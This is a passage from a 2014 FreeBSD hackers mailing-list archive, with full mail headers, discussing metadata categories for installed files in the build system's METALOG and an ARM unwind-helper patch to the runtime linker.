Jul 2014 10:46:45 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 32494-06; Wed, 16 Jul 2014 10:46:45 -0700 (PDT) Received: from kruse-177.4.ixsystems.com (kruse-177.4.ixsystems.com [10.2.4.177]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 4B4397A563; Wed, 16 Jul 2014 10:46:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405532805; bh=HIsTcNj9+gXJYv6fwdgT6/XBNodl3e7Q7LLkZuR5+6g=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=Nq9aCVE1O0+HzkSgICB/u5lDuXG4h9uR5cA26z8BuCpa6uNxuha6FP8puOalsUDFj ppqFtQnqm7t24URMZ7QjIsOyeRHAfMp49XAXvUl6LV6IBal4FXkHBs5oQrfU2edeRQ 1cbSrk1zNgE8kti7AuXpBGoMRoze7as/J+4ib10M= Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: Expanding on NO_ROOT: Categorizing installed files From: Sean Fagan In-Reply-To: <20140716170758.GE60425@spindle.one-eyed-alien.net> Date: Wed, 16 Jul 2014 10:46:44 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <20140716170758.GE60425@spindle.one-eyed-alien.net> To: Brooks Davis X-Mailer: Apple Mail (2.1878.6) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 17:46:47 -0000 On Jul 16, 2014, at 10:07 AM, Brooks Davis wrote: > The vast majorify of the diff is make debugging garbage that looks = like > it was committed by accident. I won't provided any detailed review > of the current patch except to say that there are a lot of apparently > redundent instances of setting META_CATEGORY in Makefiles and still > quite a lot of instances of .EXPORTVAR: META_CATEGORY. There were ten. I've removed those (and the make debug out, and a stray .orig file, grrr), and am testing now. That'll take a while ;). >> I have not changed it from having a new "category=3D" to using = "tag=3D"; I looked at that, and don't think it's the best way to go, but = am still looking. >=20 > Given that the current use of tags=3D is basically unconsumed, I still > don't understand why. First, because the space is limited -- it's not "tag type=3Dvalue", but = "tag=3Dvalue". So if there is a category of "debug", that conflicts = with a tag of "debug." And similarly for any other tags. Second, because "category=3D" isn't the only keyword I might want to add = here -- I would prefer that the metalog be considered a key-value = sequence, and any consumer should simply ignore any key it doesn't = understand. (Consider checksums, as a semi-obvious example of one that can be put in = place by install.) Combine the two, and I'm very wary of it -- it puts a limitation in, = when it should be extensible. Sean.= From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 19:13:51 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7B7E938D for ; Wed, 16 Jul 2014 19:13:51 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4521628DD for ; Wed, 16 Jul 2014 19:13:50 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id AFFE97B064 for ; Wed, 16 Jul 2014 12:13:49 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 41535-03 for ; Wed, 16 Jul 2014 12:13:49 -0700 (PDT) Received: from kruse-177.4.ixsystems.com (kruse-177.4.ixsystems.com [10.2.4.177]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 3A2827B05F for ; Wed, 16 Jul 2014 12:13:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405538029; bh=dS6dCgTtf15Uld4wNZ1rEoIGF7+//psZ1a7BkDnU32s=; h=Subject:From:In-Reply-To:Date:References:To; b=BVBj9/UsAyBQzSPpEJNXngF9wusyZFygy6+nmC/vQs9iyUFxXA98n5bc6NJU0wl5u Oapu6Z4mEt6lbPWOQCtbvn1qYTi+kDuGMWFYQov44JMOT6A7AMnOJXTDeyLw36oVRa ABSNcW7gsWQWy4y8WYwoYcpxKi1bZ4tndmmItI8Q= Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: Expanding on NO_ROOT: Categorizing installed files From: Sean Fagan In-Reply-To: <20140716170758.GE60425@spindle.one-eyed-alien.net> Date: Wed, 16 Jul 2014 12:13:48 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <20140716170758.GE60425@spindle.one-eyed-alien.net> To: hackers@freebsd.org X-Mailer: Apple Mail (2.1878.6) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 19:13:51 -0000 On Jul 16, 2014, at 10:07 AM, Brooks Davis wrote: > The vast majorify of the diff is make debugging garbage that looks = like > it was committed by accident. I won't provided any detailed review > of the current patch except to say that there are a lot of apparently > redundent instances of setting META_CATEGORY in Makefiles and still > quite a lot of instances of .EXPORTVAR: META_CATEGORY. Okay. Again, my apologies about that; I've excised it, and removed all of the EXPORTVAR directives, even the ones that had been commented out. (Note that the patch includes a change to xinstall, that is commented = out; that's because I think I still like the concept of it, to at least some degree, = and didn't want to forget where I put it. But it *is* commented out, and so the = functionality is simply not there.) Without my idiotic error, the diff is much smaller -- just under 50,000 = bytes. However, rather than include it again, I've replaced the file at = http://earth.kithrup.com/~sef/auto-diffs.txt for everyone's perusal. Thank you again, Sean. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 19:24:11 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DE4336DC for ; Wed, 16 Jul 2014 19:24:11 +0000 (UTC) Received: from spindle.one-eyed-alien.net (spindle.one-eyed-alien.net [199.48.129.229]) by mx1.freebsd.org (Postfix) with ESMTP id A423529E3 for ; Wed, 16 Jul 2014 19:24:11 +0000 (UTC) Received: by spindle.one-eyed-alien.net (Postfix, from userid 3001) id 959C65A9F0B; Wed, 16 Jul 2014 19:24:10 +0000 (UTC) Date: Wed, 16 Jul 2014 19:24:10 +0000 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140716192410.GG60425@spindle.one-eyed-alien.net> References: <20140716170758.GE60425@spindle.one-eyed-alien.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZARJHfwaSJQLOEUz" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 19:24:11 -0000 --ZARJHfwaSJQLOEUz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jul 16, 2014 at 10:46:44AM -0700, Sean Fagan wrote: > On Jul 16, 2014, at 10:07 AM, Brooks Davis wrote: > >> I have not changed it from having a new "category=3D" to using "tag=3D= "; I looked at that, and don't think it's the best way to go, but am still = looking. > >=20 > > Given that the current use of tags=3D is basically unconsumed, I still > > don't understand why. >=20 > First, because the space is limited -- it's not "tag type=3Dvalue", but "= tag=3Dvalue". So if there is a category of "debug", that conflicts with a = tag of "debug." And similarly for any other tags. >=20 > Second, because "category=3D" isn't the only keyword I might want to add = here -- I would prefer that the metalog be considered a key-value sequence,= and any consumer should simply ignore any key it doesn't understand. >=20 > (Consider checksums, as a semi-obvious example of one that can be put in = place by install.) >=20 > Combine the two, and I'm very wary of it -- it puts a limitation in, when= it should be extensible. You've convinced me. I think the first is a redherring as no one uses the = tags, but the second is a good argument. That said, I think the second argues that -P generating category=3D is the wrong approach. Instead a new flag should just let you add arbitrary stuff to the mtree file (subject to validation that it is well formed). -- Brooks --ZARJHfwaSJQLOEUz Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlPG0VkACgkQXY6L6fI4GtRY/wCfXWU34b2riK+CrP6PxMON1nE0 FpwAoMRnUIX8OZpSbPJrJ2hW3Ljpbbv7 =t4ZM -----END PGP SIGNATURE----- --ZARJHfwaSJQLOEUz-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 19:29:57 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2C86798B; Wed, 16 Jul 2014 19:29:57 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E748A2A38; Wed, 16 Jul 2014 19:29:56 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id E30D87B66E; Wed, 16 Jul 2014 12:29:54 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 42041-08; Wed, 16 Jul 2014 12:29:54 -0700 (PDT) Received: from kruse-177.4.ixsystems.com (kruse-177.4.ixsystems.com [10.2.4.177]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id B644B7B650; Wed, 16 Jul 2014 12:29:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405538985; bh=2TFu+ixPe6n7YqnaVvLPeko3OLwuD7s6yum/19n16IE=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=ImCtSmwmI3T162zX57bWDEfSBOspYPvUdDw5eIn2dLv0MXbw+nx9UPDAi1blzxqeP Mft4vCHdayqVtCpBnKzudF/bFh107CcZ0LZsZCerFLvm2mJKEvADB3PkdS3ff/JwUa Ryo8Xmg+g3Dy3mpTluOl9UoosGXwLFdPXrKsm348= Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: Expanding on NO_ROOT: Categorizing installed files From: Sean Fagan In-Reply-To: <20140716192410.GG60425@spindle.one-eyed-alien.net> Date: Wed, 16 Jul 2014 12:29:44 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <3C71EBC2-4A4B-433D-8A21-D263CA0F24C0@ixsystems.com> References: <20140716170758.GE60425@spindle.one-eyed-alien.net> <20140716192410.GG60425@spindle.one-eyed-alien.net> To: Brooks Davis X-Mailer: Apple Mail (2.1878.6) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 19:29:57 -0000 On Jul 16, 2014, at 12:24 PM, Brooks Davis wrote: > That said, I think the second argues that -P generating category=3D is = the > wrong approach. Instead a new flag should just let you add arbitrary > stuff to the mtree file (subject to validation that it is well = formed). -K =3D is easy enough to do, and seems mnemonical enough. (Then change the makefiles to have "-K category=3D${META_CATEGORY}" and whatnot.) This doesn't get added to the mtree files, though. I played with = changing mtree (well, nmtree), but I was thrown by the fact that it wasn't = hierarchical -- that is, adding a tag/label/whatever at one level didn't automatically = percolate its way down. So I got rid of those changes. Sean. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 19:57:08 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D660F386 for ; Wed, 16 Jul 2014 19:57:08 +0000 (UTC) Received: from spindle.one-eyed-alien.net (spindle.one-eyed-alien.net [199.48.129.229]) by mx1.freebsd.org (Postfix) with ESMTP id AF5452CC3 for ; Wed, 16 Jul 2014 19:57:08 +0000 (UTC) Received: by spindle.one-eyed-alien.net (Postfix, from userid 3001) id 8287B5A9F0B; Wed, 16 Jul 2014 19:57:07 +0000 (UTC) Date: Wed, 16 Jul 2014 19:57:07 +0000 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140716195707.GH60425@spindle.one-eyed-alien.net> References: <20140716170758.GE60425@spindle.one-eyed-alien.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="orO6xySwJI16pVnm" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 19:57:09 -0000 --orO6xySwJI16pVnm Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jul 16, 2014 at 12:13:48PM -0700, Sean Fagan wrote: >=20 > On Jul 16, 2014, at 10:07 AM, Brooks Davis wrote: >=20 > > The vast majorify of the diff is make debugging garbage that looks like > > it was committed by accident. I won't provided any detailed review > > of the current patch except to say that there are a lot of apparently > > redundent instances of setting META_CATEGORY in Makefiles and still > > quite a lot of instances of .EXPORTVAR: META_CATEGORY. >=20 > Okay. Again, my apologies about that; I've excised it, and removed all > of the EXPORTVAR directives, even the ones that had been commented out. > (Note that the patch includes a change to xinstall, that is commented out= ; that's > because I think I still like the concept of it, to at least some degree, = and didn't > want to forget where I put it. But it *is* commented out, and so the fun= ctionality > is simply not there.) >=20 > Without my idiotic error, the diff is much smaller -- just under 50,000 b= ytes. However, > rather than include it again, I've replaced the file at http://earth.kith= rup.com/~sef/auto-diffs.txt > for everyone's perusal. Some comments with limited context: In Makefile.inc1 you write: LIB32WMAKEENV+=3D META_CATEGORY=3Dcompat32 Is that so downstream makefiles can modify it or should it be in LIB32WMAKEFLAGS? I don't think bin/Makefile should need a META_CATEGORY line. Similarly lib/Makefile, libexec/Makefile, sbin/Makefile, secure/Makefile, ... cddl/Makefile.inc uses META_CATEGORY?=3D but many others use META_CATEGORY= =3D and I don't understand why which suggests some comments. gnu/usr.bin/cc/Makefile sets META_CATEGORY=3Ddev when ../Makefile.inc alrea= dy does. I think I'd put META_CATEGORY=3Ddev in lib/clang/clang.lib.mk rather than in the environment from lib/clang/Makefile. Setting META_CATAGORY in lib/csu/amd64/Makefile is probably not quite right. Since it needs to be base rather than lib I think setting it in lib/csu/Makefile.inc is probably correct. You'll also need to add -P (or what ever we decide on) to INSTALL there or patch all of lib/csu/*/Makefile. It doesn't look like the changes to lib/libc/Makefile are needed. Similarly lib/libelf/Makefile. There is debug stuff in rescue/Makefile. Writing: +.if exists(../Makefile.inc) +.include "../Makefile.inc" +.endif doesn't make sense. You can use .sinclude or just not bother to test since the directory shouldn't move around. Whitespace around =3D or ?=3D which assigning to META_CATEGORY is quite inc= onsistent. -- Brooks --orO6xySwJI16pVnm Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlPG2RIACgkQXY6L6fI4GtQYhQCeK9waqDmsPTrTDbauSp3fjyrU 1xsAoK6fPMKlUP0gsx/h7yVcOQLGswiO =a03v -----END PGP SIGNATURE----- --orO6xySwJI16pVnm-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 19:59:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1D7D249B for ; Wed, 16 Jul 2014 19:59:58 +0000 (UTC) Received: from spindle.one-eyed-alien.net (spindle.one-eyed-alien.net [199.48.129.229]) by mx1.freebsd.org (Postfix) with ESMTP id EA8DC2CE4 for ; Wed, 16 Jul 2014 19:59:57 +0000 (UTC) Received: by spindle.one-eyed-alien.net (Postfix, from userid 3001) id 625105A9F0C; Wed, 16 Jul 2014 19:59:57 +0000 (UTC) Date: Wed, 16 Jul 2014 19:59:57 +0000 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140716195957.GI60425@spindle.one-eyed-alien.net> References: <20140716170758.GE60425@spindle.one-eyed-alien.net> <20140716192410.GG60425@spindle.one-eyed-alien.net> <3C71EBC2-4A4B-433D-8A21-D263CA0F24C0@ixsystems.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Mjqg7Yu+0hL22rav" Content-Disposition: inline In-Reply-To: <3C71EBC2-4A4B-433D-8A21-D263CA0F24C0@ixsystems.com> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 19:59:58 -0000 --Mjqg7Yu+0hL22rav Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jul 16, 2014 at 12:29:44PM -0700, Sean Fagan wrote: > On Jul 16, 2014, at 12:24 PM, Brooks Davis wrote: >=20 > > That said, I think the second argues that -P generating category=3D is = the > > wrong approach. Instead a new flag should just let you add arbitrary > > stuff to the mtree file (subject to validation that it is well formed). >=20 > -K =3D is easy enough to do, and seems mnemonical enough. > (Then change the makefiles to have "-K category=3D${META_CATEGORY}" > and whatnot.) Sounds good. > This doesn't get added to the mtree files, though. I played with changing > mtree (well, nmtree), but I was thrown by the fact that it wasn't hierarc= hical -- > that is, adding a tag/label/whatever at one level didn't automatically pe= rcolate > its way down. So I got rid of those changes. The METALOG is an mtree file. That sounds like a bug in the mtree code given the rational view that unknown key=3Dvalue's should just be passed along as text. -- Brooks --Mjqg7Yu+0hL22rav Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlPG2bwACgkQXY6L6fI4GtTWqQCeLNRea31tDcsWG7HOcXeKWkBO XgIAmwSxUlyD7apAzh0ClIWvQQkNavX0 =3FPE -----END PGP SIGNATURE----- --Mjqg7Yu+0hL22rav-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 21:23:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BD5A6408 for ; Wed, 16 Jul 2014 21:23:56 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7DE44255A for ; Wed, 16 Jul 2014 21:23:56 +0000 (UTC) Received: from c-50-155-136-3.hsd1.co.comcast.net ([50.155.136.3] helo=ilsoft.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1X7Wg6-000Cim-VD for hackers@freebsd.org; Wed, 16 Jul 2014 21:23:55 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by ilsoft.org (8.14.9/8.14.9) with ESMTP id s6GLNrqD015637 for ; Wed, 16 Jul 2014 15:23:53 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 50.155.136.3 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX19dHW1liLNvkT8CqR35sGOd X-Authentication-Warning: paranoia.hippie.lan: Host revolution.hippie.lan [172.22.42.240] claimed to be [172.22.42.240] Subject: [CFR] Adding a function to rtld-elf.so, how to handle Symbol.map? From: Ian Lepore To: hackers@freebsd.org Content-Type: multipart/mixed; boundary="=-8Dlxw1wOsZ9cQfa0wi9b" Date: Wed, 16 Jul 2014 15:23:53 -0600 Message-ID: <1405545833.1312.84.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 21:23:56 -0000 --=-8Dlxw1wOsZ9cQfa0wi9b Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I need to add an ARM-specific function to rtld-elf.so to help locate exception unwind info in shared objects. I'm confused about how to add the function to Symbol.map... do I have to add a 1.4 section because it was first added in FreeBSD 11, or does it go into an existing section because it doesn't introduce changes to an existing ABI? -- Ian --=-8Dlxw1wOsZ9cQfa0wi9b Content-Disposition: inline; filename="find_exidx2.diff" Content-Type: text/x-patch; name="find_exidx2.diff"; charset="us-ascii" Content-Transfer-Encoding: 7bit diff -r 63a383d5fd3e libexec/rtld-elf/Symbol.map --- libexec/rtld-elf/Symbol.map Thu May 01 08:14:39 2014 -0600 +++ libexec/rtld-elf/Symbol.map Wed Jul 16 15:06:30 2014 -0600 @@ -20,6 +20,7 @@ FBSD_1.0 { FBSD_1.3 { fdlopen; + __gnu_Unwind_Find_exidx; }; FBSDprivate_1.0 { diff -r 63a383d5fd3e libexec/rtld-elf/arm/Makefile.inc --- libexec/rtld-elf/arm/Makefile.inc Thu May 01 08:14:39 2014 -0600 +++ libexec/rtld-elf/arm/Makefile.inc Wed Jul 16 15:06:30 2014 -0600 @@ -1,1 +1,5 @@ # $FreeBSD: head/libexec/rtld-elf/arm/Makefile.inc 130646 2004-06-17 17:53:16Z cognet $ + +SRCS+= find_exidx.c +CFLAGS+= -I${TOPSRCDIR}/contrib/libexecinfo + diff -r 63a383d5fd3e libexec/rtld-elf/arm/find_exidx.c --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ libexec/rtld-elf/arm/find_exidx.c Wed Jul 16 15:06:30 2014 -0600 @@ -0,0 +1,103 @@ +/*- + * Copyright (c) 2014 Ian Lepore + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +__FBSDID("$FreeBSD$"); + +#include +#include +#include +#include +#include +#include /* This is contrib/libexecinfo/unwind.h */ + +/* + * ARM EABI unwind helper for dynamically linked code. + * + * This code iterates all shared objects that have been loaded, looking for one + * whose in-memory text address range contains the given PC. It returns the + * address of the exidx section in that shared object along with the number of + * entries in that section, or NULL if it wasn't found. This overrides a + * weak-linkage default implementation in the unwinder library that only works + * for a static-linked application. + */ + +struct cbdata { + _Unwind_Ptr pc; + _Unwind_Ptr exptr; + int excount; +}; + +static int +findexcb(struct dl_phdr_info *info, size_t size, void *data) +{ + struct cbdata * cbd; + const Elf_Phdr *hdr; + Elf_Addr exptr, pc, vaddr; + Elf_Word len; + int i, exlen, found; + const int FOUND_PC = 0x01; + const int FOUND_EX = 0x02; + const int SIZEOF_EIT_ENTRY = 8; /* Not available in a header file. */ + + cbd = data; + found = 0; + pc = (Elf_Addr)cbd->pc; + for (i = 0, hdr = info->dlpi_phdr; i < info->dlpi_phnum; i++, hdr++) { + vaddr = info->dlpi_addr + hdr->p_vaddr; + len = hdr->p_memsz; + if (hdr->p_type == PT_LOAD && (hdr->p_flags & PF_X) != 0 && + pc >= vaddr && pc < vaddr + len) { + found |= FOUND_PC; + } else if (hdr->p_type == PT_ARM_EXIDX) { + found |= FOUND_EX; + exptr = vaddr; + exlen = len; + } + if (found == (FOUND_PC | FOUND_EX)) { + cbd->exptr = (_Unwind_Ptr)(exptr); + cbd->excount = exlen / SIZEOF_EIT_ENTRY; + return (1); /* Stop iterating. */ + } + } + return (0); /* Continue iterating with next object. */ + +} + +_Unwind_Ptr +__gnu_Unwind_Find_exidx(_Unwind_Ptr pc, int * pcount) +{ + struct cbdata cbd; + + cbd.pc = pc; + cbd.exptr = NULL; + cbd.excount = 0; + dl_iterate_phdr(findexcb, &cbd); + if (cbd.exptr != NULL) + *pcount = cbd.excount; + return (cbd.exptr); +} + diff -r 63a383d5fd3e sys/arm/include/elf.h --- a/sys/arm/include/elf.h Thu May 01 08:14:39 2014 -0600 +++ b/sys/arm/include/elf.h Wed Jul 16 15:06:30 2014 -0600 @@ -55,6 +55,9 @@ typedef struct { /* Auxiliary vec #define ELF_MACHINE_OK(x) ((x) == EM_ARM) +/* Unwind info section type */ +#define PT_ARM_EXIDX (PT_LOPROC + 1) + /* * Relocation types. */ --=-8Dlxw1wOsZ9cQfa0wi9b-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 21:38:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88C0D848 for ; Wed, 16 Jul 2014 21:38:14 +0000 (UTC) Received: from c.mail.sonic.net (c.mail.sonic.net [64.142.111.80]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 701702696 for ; Wed, 16 Jul 2014 21:38:14 +0000 (UTC) Received: from zeppelin.tachypleus.net (lasr-ap-1.uchicago.edu [128.135.70.188]) (authenticated bits=0) by c.mail.sonic.net (8.14.9/8.14.9) with ESMTP id s6GLc3F0017147 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for ; Wed, 16 Jul 2014 14:38:10 -0700 Message-ID: <53C6F0B7.1030608@freebsd.org> Date: Wed, 16 Jul 2014 14:37:59 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Expanding on NO_ROOT: Categorizing installed files References: <20140716170758.GE60425@spindle.one-eyed-alien.net> <20140716195707.GH60425@spindle.one-eyed-alien.net> In-Reply-To: <20140716195707.GH60425@spindle.one-eyed-alien.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Sonic-ID: C;sh8fdzEN5BGYnk2zUc16mQ== M;0p5TezEN5BGYnk2zUc16mQ== X-Spam-Flag: No X-Sonic-Spam-Details: 0.0/5.0 by cerberusd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions 